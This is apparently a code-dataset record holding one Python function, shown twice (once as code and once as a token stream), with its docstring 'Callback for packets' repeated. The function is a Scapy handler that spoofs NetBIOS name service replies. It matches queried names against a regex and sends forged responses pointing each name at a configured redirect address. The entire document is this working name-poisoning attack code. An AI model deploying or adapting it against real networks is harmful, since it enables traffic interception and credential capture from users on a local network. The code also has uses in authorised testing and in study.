(self, pkt)
Callback for packets
Callback for packets
Callback for packets
def handler(self, pkt):
        """Callback for packets"""
        if pkt.haslayer(NBNSQueryRequest):
            request = pkt[NBNSQueryRequest].getfieldval('QUESTION_NAME')
            ret = self.config['regex_match'].value.search(request.lower())
            if ret is None:
                return

            if not ret.group(0) is None and pkt[Ether].dst != self.local_mac \
                      and pkt[IP].src != util.get_local_ip(config.get('iface')):
                trans_id = pkt[NBNSQueryRequest].getfieldval('NAME_TRN_ID')
                response = Ether(dst=pkt[Ether].src, src=self.local_mac)
                response /= IP(dst=pkt[IP].src) / UDP(sport=137, dport=137)
                response /= NBNSQueryResponse(NAME_TRN_ID=trans_id,
                  RR_NAME=request, NB_ADDRESS=self.config['redirect'].value)
                del response[UDP].chksum  # recalc checksum
                sendp(response)    # layer 2 send for performance
                self.log_msg('Spoofing \'%s\' from %s'
                                        % (request.strip(), pkt[IP].src))
def handler ( self , pkt ) : if pkt . haslayer ( NBNSQueryRequest ) : request = pkt [ NBNSQueryRequest ] . getfieldval ( 'QUESTION_NAME' ) ret = self . config [ 'regex_match' ] . value . search ( request . lower ( ) ) if ret is None : return if not ret . group ( 0 ) is None and pkt [ Ether ] . dst != self . local_mac and pkt [ IP ] . src != util . get_local_ip ( config . get ( 'iface' ) ) : trans_id = pkt [ NBNSQueryRequest ] . getfieldval ( 'NAME_TRN_ID' ) response = Ether ( dst = pkt [ Ether ] . src , src = self . local_mac ) response /= IP ( dst = pkt [ IP ] . src ) / UDP ( sport = 137 , dport = 137 ) response /= NBNSQueryResponse ( NAME_TRN_ID = trans_id , RR_NAME = request , NB_ADDRESS = self . config [ 'redirect' ] . value ) del response [ UDP ] . chksum # recalc checksum sendp ( response ) # layer 2 send for performance self . log_msg ( 'Spoofing \'%s\' from %s' % ( request . strip ( ) , pkt [ IP ] . src ) )